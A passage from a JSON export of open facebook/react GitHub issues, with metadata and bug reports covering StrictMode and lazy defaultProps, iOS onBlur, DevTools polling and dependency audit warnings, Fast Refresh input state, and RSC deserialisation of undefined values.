correctly.\r\n\r\n```tsx\r\nconst LazyComponent = lazy(\r\n async () =>\r\n class SomeComponent extends Component {\r\n static defaultProps = { someProp: true };\r\n componentDidMount() {\r\n // 1st mount - `true`\r\n // 2nd mount - `undefined`\r\n console.log(this.props.someProp);\r\n }\r\n componentWillUnmount() {}\r\n render() { /* ... */ }\r\n },\r\n);\r\n\r\n\r\n \r\n\r\n```\r\n\r\n\r\nLink to code example:\r\nhttps://stackblitz.com/edit/vitejs-vite-1ptuah?file=src%2Fmain.jsx\r\n\r\n## The current behavior\r\nThe `StrictMode`-triggered 2nd mount doesn't correctly merge `defaultProps` into `this.props`.\r\n\r\n## The expected behavior\r\n`this.props` contains the specified `defaultProps`.\r\n\r\n## More context\r\n\r\nI noticed each of the following works-around the issue:\r\n- Wrapping the class-component in a function-component (before wrapping with `lazy`)\r\n- Not using `lazy`\r\n- Not defining a `componentWillUnmount`\r\n\r\nSince this is happening in a 3rd-party which we wrap with `lazy`, the 1st option is a solid workaround for now.\r\n\r\n## Possibly related issues\r\n- #13960\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28505/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 1, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28492", "id": 2168681475, "node_id": "I_kwDOAJy2Ks6BQ3QD", "number": 28492, "title": "Bug: onBlur is not firing in IOS Chrome when trigger done button", "user": { "login": "youryu0212", "id": 87521172, "node_id": "MDQ6VXNlcjg3NTIxMTcy", "avatar_url": "https://avatars.githubusercontent.com/u/87521172?v=4", "gravatar_id": "", "url": "https://api.github.com/users/youryu0212", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 24, "created_at": "2024-03-05T09:11:05Z", "updated_at": "2026-01-07T15:04:50Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Version\r\n- react: 18.2.0\r\n- react-dom: 18.2.0\r\n- test device version: Iphone X(IOS 16.3)\r\n\r\n### Sample Code\r\n- https://github.com/youryu0212/react-blur-error\r\n\r\n### Expectation\r\n- Clicking the DONE button on the IOS keyboard, I expected the blur to be triggered by losing focus on the html Input Element.\r\n\r\n### Result\r\n- The onBlur event is not fired.\r\n\r\n### Detailed description:\r\n- After the done button on the keypad was clicked, the html was blurred but react's onBlur was not fired\r\n- If you apply blur as a native event instead of react onBlur, it works fine.\r\n- IOS, Android Other Browsers onBlur was fine.\r\n\r\nhttps://github.com/youryu0212/react-blur-sample/assets/87521172/517787aa-4856-4eb4-a416-eb0c8db3a62d\r\nhttps://github.com/youryu0212/react-blur-sample/assets/87521172/71ff622b-e982-4bcc-98c3-fd25b17aef3e\r\n\r\n### The current behavior\r\n- Clicking the DONE button on the IOS keyboard, The onBlur event is not fired.\r\n### The expected behavior\r\n- Clicking the DONE button on the IOS keyboard, The onBlur event is fired.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28492/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28443", "id": 2154205494, "node_id": "I_kwDOAJy2Ks6AZpE2", "number": 28443, "title": "[DevTools Bug]: Error: Should have a queue. This is likely a bug in React. Please file an issue.", "user": { "login": "zinx110", "id": 91798875, "node_id": "U_kgDOBXi9Ww", "avatar_url": "https://avatars.githubusercontent.com/u/91798875?v=4", "gravatar_id": "", "url": "https://api.github.com/users/zinx110", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2024-02-26T13:36:59Z", "updated_at": "2024-06-21T23:56:01Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nprivate repo, cannot disclose the full repo because NDA\n\n### Repro steps\n\nI got this error a few times when working in a react native app, It only showed a few times but the error instructed me to file it as issue, so I am posting here. the error said : \r\n\r\n> Error: Should have a queue. This is likely a bug in React. Please file an issue.\r\n\r\nI am not sure how it is happening, but it is happening when I added a new prop \"deleted={deletedItem}\" in the header Item :\r\n\r\n```\r\n\r\n\r\n```\r\n\r\n\r\nHere is the full screen's code: \r\n```import {useHeaderHeight} from '@react-navigation/elements';\r\nimport {NativeStackNavigationProp} from '@react-navigation/native-stack';\r\nimport React, {useEffect, useLayoutEffect, useState} from 'react';\r\nimport {ActivityIndicator, StyleSheet, View} from 'react-native';\r\n\r\nimport ScreenContainer from '../../components/elements/ScreenContainer';\r\n\r\nimport ImageCarousel from '../../components/ImageCarousel/ImageCarousel';\r\n\r\nimport AlreadySubmittedDetails from '../../components/itemDetailsComponents/AlreadySubmittedDetails';\r\n\r\nimport LikeAndSubmittionButtons from '../../components/itemDetailsComponents/LikeAndSubmittionButtons';\r\nimport SubmissionForm from '../../components/itemDetailsComponents/SubmissionForm';\r\n\r\nimport {useAuth} from '../../contexts/AuthContext';\r\n\r\nimport Typography from '../../components/common/Typography';\r\nimport ItemInfoDetails from '../../components/elements/ItemInfoDetails';\r\nimport PageHeaderItemDetails from '../../components/pageheader/PageHeaderItemDetails';\r\nimport {useSubmission} from '../../contexts/SubmissionContext';\r\nimport {useTreasuresData} from '../../contexts/TreasuresDataContext';\r\nimport {useUserData} from '../../contexts/UserDataContext';\r\n\r\ninterface ItemDetailsScreenProps {\r\n navigation: NativeStackNavigationProp;\r\n route: any;\r\n}\r\n\r\nconst ItemDetailsScreen = ({navigation, route}: ItemDetailsScreenProps) => {\r\n const {id, isLiked} = route?.params;\r\n const [deletedItem, setDeletedItem] = useState(false);\r\n useLayoutEffect(() => {\r\n console.log(navigation);\r\n navigation.setOptions({\r\n headerShown: true,\r\n header: () => (\r\n \r\n ),\r\n });\r\n }, [navigation, id, isLiked, deletedItem]);\r\n const headerHeight = useHeaderHeight();\r\n\r\n const {getTreasureById} = useTreasuresData();\r\n const [itemData, setItemData] = useState({});\r\n const {user} = useAuth();\r\n const {userData} = useUserData();\r\n const {getSubmittedItemInfo} = useSubmission();\r\n const isAlreadySubmittedItem =\r\n userData && userData.mysubmissions && userData?.mysubmissions.includes(id);\r\n const [loading, setLoading] = useState(false);\r\n const [loadingPage, setLoadingPage] = useState(false);\r\n const [submittedInfo, setSubmittedInfo] = useState({});\r\n useEffect(() => {\r\n const getSubmissionData = async () => {\r\n try {\r\n setLoading(true);\r\n console.log('getting submission data');\r\n const submissionData = await getSubmittedItemInfo(id);\r\n setSubmittedInfo(submissionData);\r\n\r\n setLoading(false);\r\n } catch (error) {\r\n console.log(error);\r\n setLoading(false);\r\n }\r\n };\r\n if (isAlreadySubmittedItem) {\r\n getSubmissionData();\r\n }\r\n console.log('isAlreadySubmittedItem:', isAlreadySubmittedItem);\r\n }, [isAlreadySubmittedItem, id]);\r\n\r\n useEffect(() => {\r\n const getData = async () => {\r\n try {\r\n setLoadingPage(true);\r\n const data = await getTreasureById(id);\r\n setItemData(data);\r\n setLoadingPage(false);\r\n } catch (error) {\r\n // Handle the error if needed\r\n console.log('Error fetching data:', error);\r\n\r\n setLoadingPage(false);\r\n if (error.message === 'Treasure does not exist') {\r\n setDeletedItem(true);\r\n }\r\n }\r\n };\r\n\r\n getData();\r\n }, [id, getTreasureById]);\r\n useEffect(() => {\r\n console.log('ITem data -- ', itemData, 'ID ->', itemData.id);\r\n }, [itemData]);\r\n return (\r\n \r\n {itemData && itemData.id ? (\r\n <>\r\n \r\n \r\n \r\n {isAlreadySubmittedItem ? (\r\n \r\n ) : (\r\n \r\n )}\r\n >\r\n ) : null}\r\n {!loadingPage && (!itemData || !itemData.id) ? (\r\n \r\n \r\n {deletedItem ? 'Item has been deleted' : 'No Data'}\r\n \r\n \r\n ) : null}\r\n {loadingPage ? (\r\n \r\n \r\n \r\n ) : null}\r\n \r\n );\r\n};\r\n\r\nexport default ItemDetailsScreen;\r\n\r\nconst styles = StyleSheet.create({\r\n container: {\r\n minHeight: '100%',\r\n width: '100%',\r\n paddingBottom: 20,\r\n paddingTop: 20,\r\n },\r\n headerTitleStyle: {\r\n fontSize: 16,\r\n color: '#2C2C2C',\r\n fontWeight: '600',\r\n fontFamily: 'Poppins-SemiBold',\r\n },\r\n});\r\n```\r\n\r\n\r\nthis is the Pageheader component:\r\n```import {useNavigation} from '@react-navigation/native';\r\n\r\nimport React from 'react';\r\nimport {StyleSheet, TouchableOpacity} from 'react-native';\r\n\r\nimport WatchlistEyeIconButton from '../buttons/WatchlistEyeIconButton';\r\nimport Typography from '../common/Typography';\r\nimport BackButton from './BackButton';\r\nimport PageHeaderContainer from './PageHeaderContainer';\r\n\r\ninterface PageHeaderItemDetailsProps {\r\n id: string;\r\n watchlisted: boolean;\r\n itemOwner?: boolean;\r\n deleted?: boolean;\r\n}\r\nconst PageHeaderItemDetails = ({\r\n id,\r\n watchlisted,\r\n itemOwner,\r\n deleted = true,\r\n}: PageHeaderItemDetailsProps) => {\r\n const navigation = useNavigation();\r\n const goToEdit = () => {\r\n navigation.navigate('MyItemsStack', {\r\n screen: 'EditAnItem',\r\n params: {\r\n id: id,\r\n },\r\n });\r\n };\r\n return (\r\n \r\n \r\n Item details\r\n {deleted ? null : (\r\n <>\r\n {itemOwner ? (\r\n \r\n Edit\r\n \r\n ) : (\r\n \r\n )}\r\n >\r\n )}\r\n \r\n );\r\n};\r\n\r\nexport default PageHeaderItemDetails;\r\n\r\nconst styles = StyleSheet.create({\r\n headerTitleStyle: {\r\n fontSize: 16,\r\n color: '#2C2C2C',\r\n fontWeight: '700',\r\n fontFamily: 'Poppins-Bold',\r\n flex: 1,\r\n textAlign: 'center',\r\n },\r\n editText: {\r\n color: '#E8BD70',\r\n fontWeight: '600',\r\n fontFamily: 'Poppins-SemiBold',\r\n fontSize: 14,\r\n textAlign: 'right',\r\n },\r\n});\r\n\r\n```\n\n### How often does this bug happen?\n\nSometimes\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28443/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/28058", "id": 2096039026, "node_id": "I_kwDOAJy2Ks587wRy", "number": 28058, "title": "[DevTools Bug]: react-devtools depends on vulnerable versions of electron and got", "user": { "login": "eikowagenknecht", "id": 1475672, "node_id": "MDQ6VXNlcjE0NzU2NzI=", "avatar_url": "https://avatars.githubusercontent.com/u/1475672?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eikowagenknecht", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2024-01-23T12:56:37Z", "updated_at": "2024-02-14T11:51:06Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/facebook/react/blob/main/packages/react-devtools/package.json\n\n### Repro steps\n\nelectron 23.3.13 has a vulnarability, should be updated to 24+, see links below\r\n\r\n```\r\n# npm audit report\r\n\r\nelectron 23.0.0-alpha.1 - 23.3.13\r\nSeverity: moderate\r\nASAR Integrity bypass via filetype confusion in electron - https://github.com/advisories/GHSA-7m48-wc93-9g85\r\nfix available via `npm audit fix --force`\r\nWill install , which is a breaking change\r\nnode_modules/electron\r\n react-devtools >=2.1.8\r\n Depends on vulnerable versions of electron\r\n Depends on vulnerable versions of update-notifier\r\n node_modules/react-devtools\r\n```\r\n\r\nAlso the used update-notifier relies on a version of got that has vulnerabilities\r\n```\r\ngot <11.8.5\r\nSeverity: moderate\r\nGot allows a redirect to a UNIX socket - https://github.com/advisories/GHSA-pfrx-2q88-qq97\r\nfix available via `npm audit fix --force`\r\nWill install , which is a breaking change\r\nnode_modules/package-json/node_modules/got\r\n package-json <=6.5.0\r\n Depends on vulnerable versions of got\r\n node_modules/package-json\r\n latest-version 0.2.0 - 5.1.0\r\n Depends on vulnerable versions of package-json\r\n node_modules/latest-version\r\n update-notifier 0.2.0 - 5.1.0\r\n Depends on vulnerable versions of latest-version\r\n node_modules/update-notifier\r\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/28058/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27992", "id": 2089091683, "node_id": "I_kwDOAJy2Ks58hQJj", "number": 27992, "title": "[DevTools Bug]: `sayHelloToBackendManager` continuously and pointlessly polls on every page", "user": { "login": "sneakers-the-rat", "id": 12961499, "node_id": "MDQ6VXNlcjEyOTYxNDk5", "avatar_url": "https://avatars.githubusercontent.com/u/12961499?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sneakers-the-rat", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2024-01-18T21:41:56Z", "updated_at": "2025-03-19T20:39:09Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\n(all sites)\r\n\r\n### Repro steps\r\n\r\nFrom any page:\r\n\r\n```js\r\nconst printMessage = (event) => {console.log(event)};\r\nwindow.addEventListener('message', printMessage);\r\n```\r\n\r\nSince there isn't a place to actually describe the bug, i'll put it here:\r\n`sayHelloToBackendManager` is set to poll here until `backendInitialized` is `true`: https://github.com/facebook/react/blob/b3003047101b4c7a643788a8faf576f7e370fb45/packages/react-devtools-extensions/src/contentScripts/proxy.js#L17-L23\r\n\r\nThe polling message has a source `react-devtools-content-script`: https://github.com/facebook/react/blob/b3003047101b4c7a643788a8faf576f7e370fb45/packages/react-devtools-extensions/src/contentScripts/proxy.js#L41\r\n\r\nThe switch to set `backendInitialized = true` checks for the message source `react-devtools-bridge`: https://github.com/facebook/react/blob/b3003047101b4c7a643788a8faf576f7e370fb45/packages/react-devtools-extensions/src/contentScripts/proxy.js#L65-L66\r\n\r\nthe `react-devtools-bridge` sourced message is sent from the backend by whatever invokes this: https://github.com/facebook/react/blob/b3003047101b4c7a643788a8faf576f7e370fb45/packages/react-devtools-extensions/src/contentScripts/backendManager.js#L127\r\n\r\nbut the `handleMessageFromPage` function returns if the `event.source` isn't the `window` object of the page. Presumably the backend does not have the same window object as the page, or else using `postMessage()` would be pointless: https://github.com/facebook/react/blob/b3003047101b4c7a643788a8faf576f7e370fb45/packages/react-devtools-extensions/src/contentScripts/proxy.js#L59\r\n\r\nThe `'react-devtools-bridge'` message never flips `backendInitialized = true`, so the polling never terminates.\r\n\r\nThis is causing the bitwarden ppl to get a decent amount of heat, and it's actually devtools causing the problem - https://github.com/bitwarden/clients/issues/7575\r\n\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27992/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27938", "id": 2082032707, "node_id": "I_kwDOAJy2Ks58GUxD", "number": 27938, "title": "[DevTools Bug]: Source map error: URL: react_devtools_backend_compact.js.map", "user": { "login": "Et7f3", "id": 29592775, "node_id": "MDQ6VXNlcjI5NTkyNzc1", "avatar_url": "https://avatars.githubusercontent.com/u/29592775?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Et7f3", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2024-01-15T13:25:29Z", "updated_at": "2024-09-28T12:00:34Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://github.com/avenida714/alec-synth/blob/dccf984d89ae44558c70ff93dfa03b1227d5df5b/src/App.jsx#L63-L64C17\r\n\r\nLink found on the vite getting started page: https://stackblitz.com/edit/vitejs-vite-zff6zx?file=src%2FApp.jsx&terminal=dev\r\n\r\n### Repro steps\r\n\r\n⚠️ This is not my code (not public) ⚠️. While I searched for this error I stumble upon this repo. I had this issue when adding the plugin for first time.\r\n\r\n1. Open the website\r\n2. Open console\r\n3. See the error\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27938/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27933", "id": 2080158337, "node_id": "I_kwDOAJy2Ks57_LKB", "number": 27933, "title": "Bug: [React Refresh] Unexpected behavior when adding/removing elements prior to uncontrolled inputs", "user": { "login": "lawrencecchen", "id": 54008264, "node_id": "MDQ6VXNlcjU0MDA4MjY0", "avatar_url": "https://avatars.githubusercontent.com/u/54008264?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lawrencecchen", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1649755876, "node_id": "MDU6TGFiZWwxNjQ5NzU1ODc2", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Fast%20Refresh", "name": "Component: Fast Refresh", "color": "473bcc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2024-01-13T07:36:53Z", "updated_at": "2024-02-25T20:10:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 18.2.0\r\n\r\n## Steps To Reproduce\r\n\r\n\r\nhttps://github.com/facebook/react/assets/54008264/94e69206-48a1-4064-a89c-583aadcd8269\r\n\r\n\r\n\r\n1. https://stackblitz.com/edit/vitejs-vite-cswk6t?file=src%2FApp.tsx\r\n2. Enter 1, 2, 3, and 4 respectively in each textbox\r\n3. Comment and uncomment the `
` and save\r\n\r\n\r\n```tsx\r\nfunction App() {\r\n return (\r\n <>\r\n
\r\n {/* COMMENT AND UNCOMMENT THIS BR AND SAVE */}\r\n
\r\n \r\n \r\n \r\n \r\n
\r\n >\r\n );\r\n}\r\n\r\nexport default App;\r\n```\r\n\r\n\r\n\r\nLink to code example:\r\n\r\n\r\n\r\nhttps://stackblitz.com/edit/vitejs-vite-cswk6t?file=src%2FApp.tsx\r\n\r\n## The current behavior\r\n\r\nUncontrolled inputs' values are not synced correctly. (I tested with controlled inputs, and it worked properly.)\r\nI verified that this bug exists in Safari (Version 17.1 (19616.2.9.11.7)) and Chrome (120.0.6099.199).\r\nTried in both Vite and Next.js, so I'm fairly certain it's a react refresh issue.\r\n\r\n```\r\n\"@vitejs/plugin-react\": \"^4.2.1\",\r\n\"next\": \"^14.0.3\",\r\n```\r\n\r\n## The expected behavior\r\n\r\nEach input should keep its own value.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27933/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27872", "id": 2062893278, "node_id": "I_kwDOAJy2Ks569UDe", "number": 27872, "title": "Bug: `undefined` within props is not faithfully deserialized from RSC payload", "user": { "login": "lubieowoce", "id": 13698226, "node_id": "MDQ6VXNlcjEzNjk4MjI2", "avatar_url": "https://avatars.githubusercontent.com/u/13698226?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lubieowoce", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 2192194047, "node_id": "MDU6TGFiZWwyMTkyMTk0MDQ3", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Flight", "name": "Component: Flight", "color": "c4523e", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2024-01-02T20:13:02Z", "updated_at": "2024-04-05T12:25:10Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: `18.3.0-canary-0cdfef19b-20231211`\r\n\r\nRelated issues: https://github.com/facebook/react/issues/25687\r\n\r\n## Steps To Reproduce\r\n\r\nObject variant: \r\n1. Pass a `prop={{ x: undefined }}` from a server component to a client component\r\n\r\nArray variant: \r\n1. Pass a `prop={[0, undefined, 2]}` from a server component to a client component\r\n\r\n\r\n\r\n\r\nLink to code example:\r\n\r\n\r\n\r\nhttps://codesandbox.io/p/devbox/compassionate-benz-rj9dct\r\n\r\n## The current behavior\r\n\r\nObject properties that are `undefined` aren't present in the deserialized object, and arrays end up with empty slots instead:\r\n```\r\n{ x: undefined } -> {}\r\n[ 0, undefined, 2 ] -> [ 0, <1 empty item>, 2 ]\r\n```\r\n\r\n## The expected behavior\r\n\r\nIf a property or array item is `undefined`, it should be deserialized as such. Object keys should remain present (with a value of `undefined`), and arrays shouldn't have empty slots.\r\n\r\nObject properties aren't _that_ big of a deal, although a key being present (but undefined) may have some semantic meaning in the user's data model, so it's still not ideal. But empty slots behave in very surprising ways with e.g. `.map()`:\r\n\r\n```js\r\n> [0,,2].map((x) => x ?? 'default')\r\n[ 0, <1 empty item>, 2 ]\r\n\r\n> [0,undefined,2].map((x) => x ?? 'default')\r\n[ 0, 'default', 2 ]\r\n```\r\n\r\nthis is likely to bite anyone who maps over an array in order to display something, which is common in react.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27872/reactions", "total_count": 5, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27791", "id": 2024771116, "node_id": "I_kwDOAJy2Ks54r44s", "number": 27791, "title": "[DevTools Bug]: Excessive CPU Usage", "user": { "login": "jscheel", "id": 211478, "node_id": "MDQ6VXNlcjIxMTQ3OA==", "avatar_url": "https://avatars.githubusercontent.com/u/211478?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jscheel", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2023-12-04T21:26:04Z", "updated_at": "2026-01-31T20:57:59Z", "closed_at": null, "assignee": null, 